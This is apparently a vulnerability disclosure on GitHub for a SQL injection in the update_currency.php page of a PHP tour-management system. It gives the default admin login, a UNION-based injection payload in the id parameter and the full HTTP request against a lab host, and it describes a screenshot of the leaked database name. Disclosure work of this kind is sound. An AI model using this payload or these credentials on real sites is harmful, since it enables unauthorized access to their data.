

main

...

Bug_report / vendors / mayuri_k / online-tours-travels-management-system / SQLi-1.md



WYB-signal Create SQLi-1.md

History

1 contributor

31 lines (21 sloc) | 1.12 KB

...

Online Tours & Travels management system v1.0 by mayuri_k has SQL injection

BUG_Author: Wybsignal

Login account: mayuri.infospace@gmail.com/admin (Super Admin account)

vendors: <https://www.sourcecodester.com/php/14510/online-tours-travels-management-system-project-using-php-and-mysql.html>

The program is built using the xampp-php8.1 version

Vulnerability File: /tour/admin/update_currency.php

Vulnerability location: /tour/admin/update_currency.php?id=, id

dbname = tour1

[+] Payload: /tour/admin/update_currency.php?

id=-1%27%20union%20select%201,database(),3--+ // Leak place ---> id

GET /tour/admin/update_currency.php?id=-1%27%20union%20select%201,database(),3--+ HT

Host: 192.168.1.19

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.

Accept: **text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8**

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Cookie: PHPSESSID=g29omi7f91g3h7ud1uhq6rbmkv

Connection: close

The screenshot shows a web browser window with a SQL injection tool interface at the top. The tool's address bar contains the URL: `http://192.168.1.19/tour/admin/update_currency.php?id=-1' union select 1,database(),3--+|`. Below the tool, the browser displays the 'Update Currency Details' page. The page has a dark sidebar with navigation links: HOME, Dashboard, Travellers, Bookings, Package Management, Tax Management, Expense Management, Finance, and Currency. The main content area shows a form titled 'Update Currency Details' with a 'Currency Info' section. This section contains two input fields: 'Currency Code' with the value 'tour1' and 'Currency Symbol' with the value '3'. Below these fields are two buttons: 'Update' (highlighted in yellow) and 'Cancel'.